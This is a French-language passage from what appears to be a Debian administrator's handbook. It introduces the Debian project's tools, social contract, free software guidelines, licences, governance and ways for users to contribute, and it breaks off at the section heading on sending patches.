OUTIL Créer une image CD-ROM/DVD/USB de Debian

debian-cd permet de créer des images ISO de support d'installation (CD, DVD, Blu-Ray, USB, etc.) prêts à l'emploi et configurables. Tout ce qui concerne ce logiciel se discute (en anglais) sur la liste de diffusion <debian-cd@lists.debian.org>. L'équipe est dirigée par Steve McIntyre, qui s'occupe aussi des constructions des images ISO officielles du projet Debian.

Comme debian-cd est devenu un outil relativement complexe, le paquet simple-cdd enveloppe celui-ci pour créer facilement des supports d'installation configurables.

B.A.-BA À chaque ordinateur son architecture

Le terme « architecture » désigne un type d'ordinateur (les plus connues regroupent les ordinateurs de type Mac ou PC). Chaque architecture se différencie principalement par son modèle de processeur, généralement incompatible avec les autres. Ces différences de matériel impliquent des fonctionnements distincts et imposent une compilation spécifique de tous les logiciels pour chaque architecture.

La plupart des logiciels disponibles pour Debian sont écrits avec des langages de programmation portables : le même code source est compilé sur les diverses architectures. En effet, un exécutable binaire, toujours compilé pour une architecture donnée, ne fonctionne généralement pas sur les autres.

Rappelons que chaque logiciel est créé en rédigeant un code source ; il s'agit d'un fichier textuel composé d'instructions provenant d'un langage de programmation. Avant de pouvoir utiliser le logiciel, il est nécessaire de compiler le code source, c'est-à-dire de le transformer en code binaire (une succession d'instructions machines exécutables par le processeur). Chaque langage de programmation dispose d'un compilateur pour effectuer cette opération (par exemple gcc pour le langage C).

OUTIL Installateur

debian-installer est le nom du programme d'installation de Debian. Sa conception modulaire permet de l'employer dans un grand nombre de scénarios d'installation différents. Le travail de développement est coordonné sur la liste de diffusion <debian-boot@lists.debian.org> sous la direction de Cyril Brulebois.

1.1.2. La qualité des logiciels libres

Debian suit tous les principes du logiciel libre et ses nouvelles versions ne sortent que lorsqu'elles sont prêtes. Les développeurs ne travaillent pas selon un calendrier préétabli et ils n'ont pas à bâcler pour respecter une échéance arbitraire. On reproche donc souvent à Debian ses délais de publication, mais cette prudence garantit que sa légendaire fiabilité soit atteinte : de longs mois de tests sont en effet nécessaires pour que la distribution complète reçoive le label « stable ».

Debian ne transige pas sur la qualité : tous les bogues critiques connus sur les paquets clef seront corrigés dans toute nouvelle version, même si cela doit parfois retarder la date de sortie initialement prévue. Les paquets secondaires dont les bogues critiques ne sont pas corrigés et qui ne remplissent donc pas les exigences de qualité sont simplement écartés de la publication stable.

1.1.3. Le cadre : une association

Juridiquement parlant, Debian est un projet mené par une association américaine sans but lucratif regroupant des bénévoles, similaire aux associations loi 1901 en droit français. Le projet compte environ un millier de développeurs Debian mais fédère un nombre bien plus important de contributeurs (traducteurs, rapporteurs de bogues, artistes, développeurs occasionnels, etc.).

Pour mener à bien sa mission, Debian dispose d'une importante infrastructure, comportant de nombreux serveurs reliés à Internet, offerts et hébergés par de nombreux mécènes.

COMMUNAUTÉ Derrière Debian, l'association SPI et des branches locales

Debian ne possède aucun serveur en son nom propre, puisque ce n'est qu'un projet au sein de l'association Software in the Public Interest (SPI) qui en gère les aspects matériels et financiers (dons, achat de matériel...). Bien qu'initialement créée pour Debian, cette association coiffe maintenant d'autres projets du monde du logiciel libre, par exemple la base de données PostgreSQL, le projet Freedesktop.org pour la standardisation de certaines briques des bureaux graphiques modernes tels que GNOME et KDE Plasma et la suite bureautique LibreOffice.

→ https://www.spi-inc.org/

En complément de SPI, de nombreuses associations locales collaborent étroitement avec Debian afin de pouvoir gérer des fonds pour Debian sans pour autant tout centraliser aux États-Unis : on les appelle des Trusted Organizations (« Organismes habilités »). Cela évite de coûteux virements internationaux et correspond bien mieux à la nature décentralisée du projet.

N'hésitez pas à rejoindre votre association locale et à soutenir le projet !

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Textes fondateurs

Quelques années après son lancement, la distribution Debian a formalisé les principes qu'elle devait suivre en tant que projet de logiciel libre. Cette démarche militante permet une croissance sereine en s'assurant que tous les membres progressent dans la même direction. Pour devenir développeur Debian, tout candidat doit d'ailleurs convaincre de son adhésion aux principes établis dans les textes fondateurs du projet.

Le processus de développement est constamment débattu, mais ces textes fondateurs sont très supportés et consensuels et n'évoluent en conséquence que rarement. La constitution les protège des changements erratiques : une majorité qualifiée de trois quarts est nécessaire pour approuver tout amendement.

1.2.1. L'engagement vis-à-vis des utilisateurs

On trouve aussi un « contrat social ». Quelle est la place d'un tel texte dans un projet ne visant qu'à concevoir un système d'exploitation ? C'est très simple, Debian œuvre pour ses utilisateurs et, par extension, pour la société. Ce contrat résume donc les engagements pris. Voyons ces points plus en détail :

1. Debian demeurera totalement libre.
C'est la règle numéro un. La distribution Debian est et restera constituée exclusivement de logiciels libres. De plus, tous les logiciels développés en propre par Debian seront libres.

PERSPECTIVE Au-delà du logiciel

La première version du contrat social disait « Debian demeurera un ensemble logiciel totalement libre ». La disparition de ces trois mots (avec la ratification de la version 1.1 du contrat au mois d'avril 2004) traduit une volonté d'obtenir la liberté non seulement des logiciels mais aussi de la documentation et de tout ce que Debian souhaite fournir dans son système d'exploitation.

Ce changement, qui ne se voulait qu'éditorial, a en réalité eu de nombreuses conséquences, avec notamment la suppression de certaines documentations problématiques. Par ailleurs, l'usage de plus en plus fréquent de microcodes (firmwares) dans les pilotes pose des problèmes : nombreux sont ceux qui ne sont pas libres, mais sont néanmoins nécessaires au bon fonctionnement du matériel correspondant.

2. Nous donnerons en retour à la communauté du logiciel libre.
Toute amélioration apportée par le projet Debian à un logiciel intégré à la distribution est envoyée à l'auteur de ce dernier (dit « amont »). D'une manière générale, Debian coopère avec la communauté au lieu de travailler isolément.

COMMUNAUTÉ Auteur amont ou développeur Debian ?

Traduction littérale de upstream author, le terme « auteur amont » désigne le ou les auteurs/développeurs d'un logiciel, qui l'écrivent et le font évoluer. A contrario, un « développeur Debian » se contente généralement de partir d'un logiciel existant pour le transformer en paquet Debian - la désignation « mainteneur Debian » est plus explicite ici.

En pratique, il peut y avoir des chevauchements entre les deux rôles : le mainteneur Debian écrit parfois un correctif, qui profite à tous les utilisateurs du logiciel. De manière générale, Debian encourage l'implication des responsables de paquets dans le développement « amont » (ils deviennent alors contributeurs sans se cantonner au rôle de simples utilisateurs d'un logiciel). Ou le développeur Debian crée des outils ou de la documentation pour la distribution Debian, comme des assistants de gestion de paquets (par exemple debhelper) ou des cadres d'intégration (par exemple ca-certificates) et deviens un « développeur amont » pour ces créations.

3. Nous ne dissimulerons pas les problèmes.
Debian n'est pas parfaite et tous les jours il y a de nouveaux problèmes à corriger. Debian conservera sa base de signalements de bogues accessible à l'examen public à tout moment. Tous ces bogues que les personnes signalent en ligne deviennent rapidement visibles à tous.

4. Nos priorités sont nos utilisateurs et les logiciels libres.
Cet engagement est plus difficile à définir. Debian s'impose ainsi un biais lorsqu'elle doit prendre une décision et écartera une solution de facilité pénalisante pour ses utilisateurs au profit d'une solution plus élégante, même si elle est plus difficile à mettre en œuvre. Il s'agit de prendre en compte en priorité les intérêts des utilisateurs et du logiciel libre.

5. Programmes non conformes à nos standards sur les logiciels libres.
Debian accepte et comprend que ses utilisateurs souhaitent parfois utiliser certains logiciels non libres. Elle s'engage donc à mettre à leur disposition une partie de son infrastructure, pour distribuer sous forme de paquets Debian les logiciels non libres qui l'autorisent.

COMMUNAUTÉ Pour ou contre la section non-free ?

L'engagement de conserver une structure d'accueil pour des logiciels non libres (i.e. la section non-free, voir encadré VOCABULAIRE Les archives main, contrib et non-free) est régulièrement remis en cause au sein de la communauté Debian.

Ses détracteurs arguent qu'il détourne certaines personnes de logiciels libres équivalents et contredit le principe de servir exclusivement la cause des logiciels libres. Les partisans rappellent plus prosaïquement que la majorité des logiciels de non-free sont des logiciels « presque libres », entravés seulement par une ou deux restrictions gênantes (la plus fréquente étant l'interdiction de tirer un bénéfice commercial du logiciel). En distribuant ces logiciels dans la branche non-free, on explique indirectement à leur auteur que leur création serait mieux reconnue et plus utilisée si elle pouvait être intégrée dans la section main : ils sont ainsi poliment invités à changer leur licence pour servir cet objectif.

Après une première tentative infructueuse en 2004, la suppression totale de la section non-free ne devrait plus revenir à l'ordre du jour avant plusieurs années, d'autant plus qu'elle contient de nombreuses documentations utiles qui y ont été déplacées parce qu'elles ne répondaient plus aux nouvelles exigences de la section main. C'est notamment le cas pour certaines documentations de logiciels issus du projet GNU (en particulier Emacs et Make). De nombreux systèmes modernes nécessite également ce que l'on appelle des firmwares, des petits fichiers binaires qui sont obligatoires pour faire fonctionner un matériel spécifique. Beaucoup de ces fichiers ne peuvent également être trouvés que dans la section non-free.

Signalons que l'existence de non-free gêne considérablement la Free Software Foundation. C'est la raison principale justifiant l'absence de Debian dans sa liste des systèmes d'exploitation recommandés.

1.2.2. Les principes du logiciel libre selon Debian

Ce texte de référence définit quels logiciels sont « suffisamment libres » pour être intégrés à Debian. Si la licence d'un logiciel est conforme à ces principes, il peut être intégré à la section main ; dans le cas contraire, et si sa libre redistribution est permise, il peut rejoindre la section non-free. Celle-ci ne fait pas officiellement partie de Debian : il s'agit d'un service annexe fourni aux utilisateurs. Une explication plus détaillée des différentes parties de l'archive Debian peut être trouvée dans la barre latérale VOCABULAIRE Les archives main, contrib et non-free.

Plus qu'un critère de choix pour Debian, ce texte fait autorité en matière de logiciel libre puisqu'il a servi de socle à la « définition de l'open source ». C'est donc historiquement l'une des premières formalisations de la notion de « logiciel libre ».

La licence publique générale de GNU (GNU General Public License), la licence BSD et la licence artistique sont des exemples de licences libres traditionnelles respectant les 9 points mentionnés dans ce texte. Vous en trouverez ci-dessous la traduction, telle que publiée sur le site web de Debian.

→ https://www.debian.org/social_contract.fr.html#guidelines

1. Redistribution libre et gratuite .  la licence d'un composant de Debian ne doit pas empêcher quiconque de vendre ou donner le logiciel sous forme de composant d'un ensemble (distribution) constitué de programmes provenant de différentes sources. La licence ne doit en ce cas requérir ni redevance ni rétribution.

2. Code source.  le programme doit inclure le code source et sa diffusion, sous forme de code source comme de programme compilé, doit être autorisée.

3. Applications dérivées.  la licence doit autoriser les modifications et les applications dérivées ainsi que leur distribution sous les mêmes termes que ceux de la licence du logiciel original.

4. Intégrité du code source de l'auteur.  la licence peut défendre de distribuer le code source modifié seulement si elle autorise la distribution avec le code source de fichiers correctifs destinés à modifier le programme au moment de sa construction. La licence doit autoriser explicitement la distribution de logiciels créés à partir de code source modifié. Elle peut exiger que les applications dérivées portent un nom ou un numéro de version différent de ceux du logiciel original (c'est un compromis : le groupe Debian encourage tous les auteurs à ne restreindre en aucune manière les modifications des fichiers, sources ou binaires).

5. Aucune discrimination de personne ou de groupe.  la licence ne doit discriminer aucune personne ou groupe de personnes.

6. Aucune discrimination de champ d'application.  la licence ne doit pas défendre d'utiliser le logiciel dans un champ d'application particulier. Par exemple, elle ne doit pas défendre l'utilisation du logiciel dans une entreprise ou pour la recherche génétique.

7. Distribution de licence.  les droits attachés au programme doivent s'appliquer à tous ceux à qui il est distribué sans obligation pour aucune de ces parties de se conformer à une autre licence.

8. La licence ne doit pas être spécifique à Debian.  les droits attachés au programme ne doivent pas dépendre du fait de son intégration au système Debian. Si le programme est extrait de Debian et utilisé et distribué sans Debian mais sous les termes de sa propre licence, tous les destinataires doivent jouir des même droits que ceux accordés lorsqu'il se trouve au sein du système Debian.

9. La licence ne doit pas contaminer d'autres logiciels.  la licence ne doit pas placer de restriction sur d'autres logiciels distribués avec le logiciel. Elle ne doit par exemple pas exiger que tous les autres programmes distribués sur le même support soient des logiciels libres.

B.A.-BA Le copyleft

Le copyleft (ou « gauche d'auteur ») est un principe qui consiste à faire appel au mécanisme des droits d'auteurs pour garantir la liberté d'une œuvre et de ses dérivées — au lieu de restreindre les droits des utilisateurs comme dans le cas des logiciels propriétaires. Il s'agit d'ailleurs d'un jeu de mots sur le terme copyright, équivalent américain du droit d'auteur. Richard Stallman a trouvé cette idée quand un ami friand de calembours écrivit sur une enveloppe qu'il lui adressa : « copyleft : all rights reversed » (copyleft : tous droits renversés). Le copyleft impose la conservation de toutes les libertés initiales lors de la distribution d'une version modifiée (ou non) du logiciel. Il est donc impossible de dériver un logiciel propriétaire d'un logiciel placé sous copyleft.

La famille de licences copyleft la plus célèbre est sans aucun doute la GNU General Public License (GPL) et ses dérivées, la GNU Lesser General Public License (LGPL) et la GNU Free Documentation License (GFDL). Malheureusement, les licences copyleft sont généralement incompatibles entre elles ! En conséquence, il est préférable de n'en utiliser qu'une seule.

10. Exemples de licences.  Les licences "GPL", "BSD" et "Artistic" sont des exemples de licences que nous considérons comme "libres".

B.A.-BA Les licences libres

La GNU GPL, la licence BSD et la licence artistique respectent toutes trois les principes du logiciel libre selon Debian. Elles sont pourtant très différentes.

La GNU GPL, utilisée et promue par la FSF (Free Software Foundation, ou fondation du logiciel libre), est la plus courante. Elle a pour particularité de s'appliquer à toute œuvre dérivée et redistribuée : un programme intégrant ou utilisant du code GPL ne peut être diffusé que selon ses termes. Elle interdit donc toute récupération dans une application propriétaire. Ceci pose également de gros problèmes pour le réemploi de code GPL dans des logiciels libres incompatibles avec cette licence. Ainsi, il est parfois impossible de lier une bibliothèque diffusée sous GPL à un programme placé sous une autre licence libre. En revanche, cette licence est très solide en droit américain : les juristes de la FSF ont participé à sa rédaction et elle a souvent contraint des contrevenants à trouver un accord amiable avec la FSF sans aller jusqu'au procès.

→ https://www.gnu.org/copyleft/gpl.html

La licence BSD est la moins restrictive : tout est permis, y compris l'intégration de code BSD modifié dans une application propriétaire.

→ https://www.opensource.org/licenses/bsd-license.php

Enfin, la licence artistique réalise un compromis entre les deux précédentes : l'intégration du code dans une application propriétaire est possible, mais toute modification doit être publiée.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Le texte complet (en anglais) de ces licences est disponible dans /usr/share/common-licenses/ sur tout système Debian (dans le cas de BSD la nouvelle licence à 3 clauses). Certaines de ces licences disposent de traductions en français, mais leur statut reste officieux et leur valeur légale est encore en cours de discussion ; le texte de référence reste alors la version anglaise.

COMMUNAUTÉ Bruce Perens, un leader chahuté

Bruce Perens a été le deuxième leader du projet Debian, juste après Ian Murdock. Il fut très controversé pour ses méthodes dynamiques et assez dirigistes. Il n'en reste pas moins un contributeur important, à qui Debian doit notamment la rédaction des fameux « principes du logiciel libre selon Debian » (ou DFSG pour Debian Free Software Guidelines), idée originelle d'Ean Schuessler. Par la suite, Bruce en dérivera la célèbre « définition de l'open source » en y gommant toutes les références à Debian.

→ https://opensource.org/

Son départ du projet fut quelque peu mouvementé mais Bruce est resté assez fortement attaché à Debian puisqu'il continue de promouvoir cette distribution dans les sphères politiques et économiques. Il intervient encore épisodiquement sur les listes de diffusion pour donner son avis et présenter ses dernières initiatives en faveur de Debian.

Dernier point anecdotique, c'est à Bruce qu'on doit l'inspiration des « noms de code » des différentes versions de Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 Buster, 11 — Bullseye, 12 (non encore publiée) — Bookworm, Unstable — Sid. Ils correspondent tous à des personnages de Toy Story. Ce film d'animation entièrement réalisé en images de synthèse fut produit par Pixar, employeur de Bruce à l'époque où il était leader Debian. Le nom « Sid » a un statut particulier puisqu'il restera éternellement associé à Unstable ; dans le film, il s'agit de l'enfant des voisins, incorrigible brise-tout — gare à vous donc si vous approchez Unstable de trop près ! Par ailleurs, Sid est l'acronyme de Still In Development (encore et toujours en cours de développement).

1.3. Fonctionnement du projet Debian

La richesse produite par le projet Debian résulte à la fois du travail sur l'infrastructure effectué par des développeurs Debian expérimentés, du travail individuel ou collectif de développeurs sur des paquets Debian, et des retours des utilisateurs.

1.3.1. Les développeurs Debian

Les développeurs Debian ont des responsabilités diverses : membres attitrés du projet, ils infléchissent grandement les directions qu'il prend. Un développeur Debian est généralement responsable d'au moins un paquet, mais selon son temps disponible et ses envies, il a le loisir de s'engager dans de nombreuses équipes et projets, développant ainsi ses responsabilités.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

OUTIL Base de données des développeurs

Debian dispose d'une base de données comprenant l'ensemble des développeurs enregistrés et les informations qui s'y rattachent (adresse, téléphone, coordonnées géographiques — latitude et longitude...). Certaines de ces informations (nom, prénom, pays, identifiant chez Debian, identifiant IRC, clé GnuPG...) sont publiques et disponibles sur le Web.

→ https://db.debian.org/

Les coordonnées géographiques permettent de générer une carte situant l'ensemble des développeurs sur le globe. On constate alors que Debian est vraiment un projet international : on trouve des développeurs sur tous les continents, même si la majorité proviennent de pays occidentaux.

Figure 1.1. Répartition mondiale des développeurs Debian

La maintenance des paquets est une activité relativement codifiée, largement documentée voire réglementée. Il faut en effet y respecter toutes les normes édictées par la charte Debian (connue en anglais sous le nom de Debian Policy). Fort heureusement, de nombreux outils facilitent le travail du mainteneur. Il peut ainsi se focaliser sur les particularités de son paquet et sur les tâches plus complexes, telles que la correction des bogues.

→ https://www.debian.org/doc/debian-policy/

B.A.-BA Maintenance d'un paquet, le travail du développeur

Maintenir un paquet suppose d'abord d'« empaqueter » un logiciel. Concrètement, il s'agit d'en définir les modalités d'installation afin qu'une fois installé ce logiciel soit fonctionnel et respecte l'ensemble des règles que Debian s'astreint à suivre. Le résultat de cette opération est conservé dans une archive .deb. L'installation effective du logiciel se limitera ensuite à l'extraction de cette archive, ainsi qu'à l'exécution de quelques scripts de pré- ou post-installation.

Après cette phase initiale, le cycle de la maintenance débute vraiment : préparation des mises à jour pour respecter la dernière version de la charte Debian, correction des bogues signalés par les utilisateurs, inclusion d'une nouvelle version « amont » du logiciel, qui continue naturellement d'évoluer en parallèle. Par exemple, lors de l'empaquetage, un logiciel en était à la version 1.2.3. Après quelques mois de développement, ses auteurs originaux sortent une nouvelle version stable, numérotée 1.4.0. Il revient alors aux mainteneurs du paquet Debian de le mettre à jour pour que les utilisateurs puissent bénéficier de sa dernière version stable.

La charte, élément essentiel du projet Debian, énonce les normes assurant à la fois la qualité des paquets et la parfaite interopérabilité de l'ensemble. Grâce à elle, Debian reste cohérent malgré sa taille gigantesque. Cette charte n'est pas figée, mais évolue continuellement grâce aux propositions incessamment formulées sur la liste <debian-policy@lists.debian.org>. Les amendements emportant l'adhésion de tous sont acceptés et appliqués au texte par un petit groupe de mainteneurs sans tâche éditoriale (ils se contentent d'inclure les modifications décidées par les développeurs Debian membres de la liste mentionnée ci-dessus). On peut consulter les actuelles propositions d'amendements via le système de suivi de bogues :

→ https://bugs.debian.org/debian-policy

COMMUNAUTÉ Processus éditorial de la charte

Tout le monde peut proposer une modification de la charte Debian en soumettant un rapport de bogue de « gravité » wishlist (souhait) sur le paquet debian-policy. Le processus qui débute alors est documenté dans https://www.debian.org/doc/debian-policy/ap-process.html : s'il est reconnu que le problème doit être résolu par le biais d'une nouvelle règle dans la charte Debian, la discussion se poursuit sur <debian-policy@lists.debian.org> jusqu'à l'obtention d'un consensus et d'une proposition. Quelqu'un rédige alors la modification souhaitée et la soumet pour approbation (sous la forme d'un correctif à relire). Dès que 2 autres développeurs approuvent le fait que la formulation proposée reflète bien le consensus ayant émergé de la discussion précédente (en anglais, le verbe consacré est to second), la proposition peut être intégrée au document officiel par un des mainteneurs du paquet debian-policy. Si le processus échoue à l'une des étapes, les mainteneurs fermeront le bogue en classant la proposition comme rejetée.

CHARTE DEBIAN La documentation

Documentation for each package is stored in /usr/share/doc/package/. This directory often contains a README.Debian file describing the Debian specific adjustments made by the package maintainer. It is, thus, wise to read this file prior to any configuration, in order to benefit from their experience. We also find a changelog.Debian.gz file describing the changes made from one version to the next by the Debian maintainer. This is not to be confused with the changelog.gz file (or equivalent), which describes the changes made by the upstream developers. The copyright file includes information about the authors and the license covering the software. Finally, we may also find a file named NEWS.Debian.gz, which allows the Debian developer to communicate important information regarding updates; if apt-listchanges is installed, then these messages are automatically displayed. All other files are specific to the software in question. We especially would like to point out the examples sub-directory, which frequently contains examples of configuration files.

La charte encadre très bien tout ce qui a trait au côté technique de la mise en paquet. La taille du projet soulève aussi des problèmes organisationnels ; ils sont traités par la constitution Debian, qui fixe une structure et des moyens de décision. En d'autres termes, une structure formelle de gouvernance.

Cette constitution définit un certain nombre d'acteurs, de postes, les responsabilités et les pouvoirs de chacun. On retiendra que les développeurs Debian ont toujours le pouvoir ultime de décision par un vote de résolution générale — avec nécessité d'obtenir une majorité qualifiée de trois quarts pour les changements les plus importants (comme ceux portant sur les textes fondateurs). Cependant, les développeurs élisent annuellement un « leader » pour les représenter dans les congrès et assurer la coordination interne entre les différentes équipes ; cette élection est toujours une période d'intenses discussions. Le rôle du Debian Project leader (DPL) n'est pas formellement défini par un document et il est d'usage que chaque candidat à ce poste donne sa propre définition de la fonction. En pratique, le leader a un rôle représentatif auprès des médias, un rôle de coordination entre les équipes « internes » et un rôle de visionnaire pour donner une ligne directrice au projet, dans laquelle les développeurs peuvent s'identifier : les points de vue du DPL sont implicitement approuvés par la majorité des membres du projet.

Concrètement, le leader dispose de pouvoirs réels : sa voix est déterminante en cas d'égalité dans un vote, il peut prendre toute décision qui ne relève pas déjà d'un autre et déléguer une partie de ses responsabilités.

Depuis sa fondation, le projet a été successivement dirigé par Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman, etJonathan Carte.

La constitution définit également un « comité technique ». Son rôle essentiel est de trancher sur des points techniques lorsque les développeurs concernés ne sont pas parvenus à un accord entre eux. Par ailleurs, ce comité joue aussi un rôle de conseil vis-à-vis de chaque développeur qui n'arrive pas à prendre une décision qui lui revient. Il est important de noter qu'il n'intervient que lorsqu'une des parties concernées le lui a demandé.

Enfin, la constitution définit le poste de « secrétaire du projet », qui a notamment en charge l'organisation des votes liés aux différentes élections et résolutions générales.

La procédure de « résolution générale » (GR) est entièrement détaillée dans la constitution, de la période de discussion initiale au décompte final des voix. L'aspect le plus intéressant de ce processus est que, lorsqu'il s'agit d'un vote réel, les développeurs doivent classer les différentes options de vote entre eux et le gagnant est sélectionné avec une méthode Condorcet (plus précisément, la méthode Schulze). Pour plus de détails, voir :

→ https://www.debian.org/devel/constitution

CULTURE Flamewar, la discussion qui s'enflamme

Une flamewar, littéralement « guerre enflammée », est une discussion (trop) passionnée qui finit souvent par des attaques personnelles lorsque tous les arguments raisonnés ont été épuisés de part et d'autre. Certains thèmes sont beaucoup plus sujets à polémique que d'autres (le choix d'un éditeur de texte, « préférez-vous vi ou emacs ? », en est un vieil exemple). Ils provoquent de très rapides échanges de courrier électronique du fait du nombre de personnes concernées (tout le monde) et de l'aspect très personnel de cette question.

Rien de très utile ne sortant généralement de ces discussions, abstenez-vous d'y participer et ne survolez que rapidement leur contenu — sa lecture complète serait trop chronophage.

Même si cette constitution instaure un semblant de démocratie, la réalité quotidienne est très différente : Debian suit naturellement les lois du logiciel libre et sa politique du fait accompli. On peut longtemps débattre des mérites respectifs des différentes manières d'aborder un problème, la solution retenue sera la première qui soit à la fois fonctionnelle et satisfaisante... elle sera également le fruit des efforts consentis par une personne compétente.

C'est d'ailleurs la seule manière d'obtenir des galons : faire quelque chose d'utile et démontrer que l'on a bien travaillé. Beaucoup d'équipes « administratives » de Debian fonctionnent sur le mode de la cooptation et favoriseront des volontaires ayant déjà effectivement contribué dans le sens de leur action et prouvé leur compétence à la tâche. Le fait que le travail de ces équipes est essentiellement public les rend accessible à tout nouveau développeur intéressé pour commencer à participer, même sans privilèges particuliers. C'est pourquoi Debian est souvent qualifiée de « méritocratie ».

CULTURE Méritocratie, le règne du savoir

La méritocratie est une forme de gouvernement où le pouvoir est exercé par les plus « méritants ». Pour Debian, le mérite se mesure à la compétence, elle-même évaluée en observant les réalisations passées des uns et des autres au sein du projet (Stefano Zacchiroli, un des précédents leaders du projet, parle de do-ocracy, que l'on pourrait traduire par « faisocratie », ou « le pouvoir à ceux qui font les choses »). Leur simple existence prouve un certain niveau de compétence ; ces réalisations étant en général des logiciels libres, aux codes sources disponibles, il sera facile aux pairs d'en juger la qualité.

Ce mode de fonctionnement efficace garantit la qualité des contributeurs au sein des équipes « clés » de Debian. Tout n'est pas parfait pour autant et il arrive fréquemment que certains n'acceptent pas cette manière de procéder. La sélection des développeurs acceptés dans ces équipes peut paraître quelque peu arbitraire voire injuste. Par ailleurs, tout le monde n'a pas la même définition du service attendu de ces équipes. Pour certains, il est inacceptable de devoir attendre 8 jours l'intégration d'un nouveau paquet Debian ; d'autres patienteront 3 semaines sans peine. Aussi, des esprits chagrins se plaignent régulièrement de la « qualité du service » de certaines équipes.

COMMUNAUTÉ L'intégration des nouveaux mainteneurs

L'équipe chargée de l'admission des nouveaux développeurs est la plus régulièrement critiquée. Il faut reconnaître qu'au fil des années, le projet Debian est devenu de plus en plus exigeant avec les développeurs qu'il accepte en son sein. On peut y voir une certaine injustice, mais nous admettrons que ce qui n'était que de petits défis au départ prend l'allure de gageures dans une communauté de plus de 1 000 personnes, où il s'agit de garantir la qualité et l'intégrité de tout ce que Debian produit pour ses utilisateurs.

Par ailleurs, la procédure d'acceptation se conclut par la revue de la candidature par une petite équipe, les « Responsables des comptes Debian » (ou DAM — Debian Account Managers). Ceux-ci sont donc particulièrement exposés aux critiques, puisqu'ils acceptent ou refusent en dernier recours l'intégration d'un volontaire au sein de la communauté des développeurs Debian. Dans la pratique, il s'agit parfois de retarder l'acceptation d'une personne, le temps qu'elle connaisse mieux le fonctionnement du projet. On peut en effet contribuer à Debian avant d'y être accepté comme développeur officiel grâce à un mécanisme de parrainage par les développeurs actuels.

1.3.2. Le rôle actif des utilisateurs

On peut se demander s'il est pertinent de citer les utilisateurs parmi les acteurs du fonctionnement de Debian, mais la réponse est un oui catégorique : ils y jouent un rôle crucial. Loin d'être « passifs », certains utilisateurs se servent quotidiennement des versions de développement et envoient régulièrement des rapports de bogues signalant des problèmes. D'autres vont encore plus loin et formulent des suggestions d'améliorations (par l'intermédiaire d'un bogue de « gravité » wishlist — littéralement « liste de vœux »), voire soumettent directement des correctifs du code source (patches, voir encadré Section 1.3.2.3, « Envoyer des correctifs »).

1.3.2.1. Signaler des bogues

L'outil majeur pour signaler des bogues dans Debian est le système de suivi de bogues Debian Bug Tracking System (Debian BTS) qui encadre le projet. Son interface web, partie émergée, permet de consulter tous les bogues répertoriés et propose d'afficher une liste (triée) de bogues sélectionnés sur de nombreux critères : paquet concerné, gravité, statut, adresse du rapporteur, adresse du mainteneur concerné, étiquette ou tag, etc. Il est également possible de consulter l'historique complet et toutes les discussions se rapportant à chacun des bogues.

Sous la surface, le système de suivi de bogues communique par courrier électronique : toutes les informations qu'il stocke proviennent de messages émis par les différents acteurs concernés. Tout courrier envoyé à <12345@bugs.debian.org> sera ainsi consigné dans l'historique du bogue numéro 12345. Les personnes habilitées pourront « fermer » ce bogue en écrivant à <12345-done@bugs.debian.org> un message exposant les motifs de cette décision (un bogue est fermé lorsque le problème signalé est corrigé ou plus valide). On signalera un nouveau bogue en transmettant à <submit@bugs.debian.org> un rapport respectant un format précis, permettant d'identifier le paquet concerné. L'adresse <control@bugs.debian.org> propose enfin de manipuler toutes les « méta-informations » relatives à un bogue.

Le système offre bien d'autres fonctionnalités (notamment les tags, ou étiquettes) — nous vous invitons à les découvrir en lisant sa documentation en ligne :

→ https://www.debian.org/Bugs/index.fr.html

VOCABULAIRE Gravité d'un bogue

La « gravité » (severity en anglais) d'un bogue décrit de manière formelle la gravité du problème signalé. Tous n'ont en effet pas la même importance : une faute de frappe dans un manuel n'a rien de comparable à une faille de sécurité dans un logiciel serveur. .

Debian utilise une échelle étendue permettant d'exprimer assez finement la gravité d'un bogue. Elle définit par ailleurs très précisément chacun de ces niveaux afin de faciliter le choix de l'un ou l'autre.

→ https://www.debian.org/Bugs/Developer.fr.html#severities

Les utilisateurs peuvent aussi utiliser la ligne de commande pour signaler des bogues avec l'outil reportbug. Il peut vérifier au préalable que le bogue concerné n'a pas déjà été référencé, ce qui évite la création de doublons. Il rappelle la définition de la gravité pour qu'elle soit aussi juste que possible (le développeur pourra toujours affiner par la suite le jugement de l'utilisateur). Il permet d'écrire un rapport de bogue complet, sans en connaître la syntaxe précise, en l'écrivant puis en proposant de le modifier. Ce rapport sera ensuite transmis via un serveur de courrier électronique (local par défaut, mais reportbug peut aussi utiliser un serveur distant).

Cet outil cible d'abord les versions de développement, seules concernées par les corrections de bogues. Une version stable de Debian est en effet figée dans le marbre, à l'exception des mises à jour de sécurité ou très importantes (si par exemple un paquet n'est pas du tout fonctionnel). Une correction d'un bogue bénin dans un paquet Debian devra donc attendre la version stable suivante.

1.3.2.2. Traduction et documentation

Par ailleurs, de nombreux utilisateurs satisfaits du service offert par Debian souhaitent à leur tour apporter une pierre à l'édifice. Pas toujours pourvus des compétences de programmation nécessaires, ils choisissent parfois d'aider à la traduction de documents et aux relectures de celles-ci. Pour les francophones, tout ce travail est coordonné sur la liste <debian-l10n-french@lists.debian.org>.

→ https://www.debian.org/intl/french/index.fr.html

B.A.-BA i18n et l10n, qu'es aquò ?

« i18n » et « l10n » sont les abréviations respectives des mots « internationalisation » et « localisation », dont elles ne conservent que l'initiale, la finale et le nombre de lettres intermédiaires.

« Internationaliser » un logiciel consiste à le modifier pour qu'il puisse être traduit (localisé). Il s'agit de réécrire partiellement un programme prévu pour fonctionner dans une seule langue afin de l'ouvrir à toutes les langues.

« Localiser » un programme consiste à en traduire les messages originels (souvent en anglais) dans une autre langue. Pour cela, il devra avoir été internationalisé.

En résumé, l'internationalisation prépare le logiciel à la traduction, qui est ensuite réalisée par la localisation.

1.3.2.3. Envoyer des correctifs

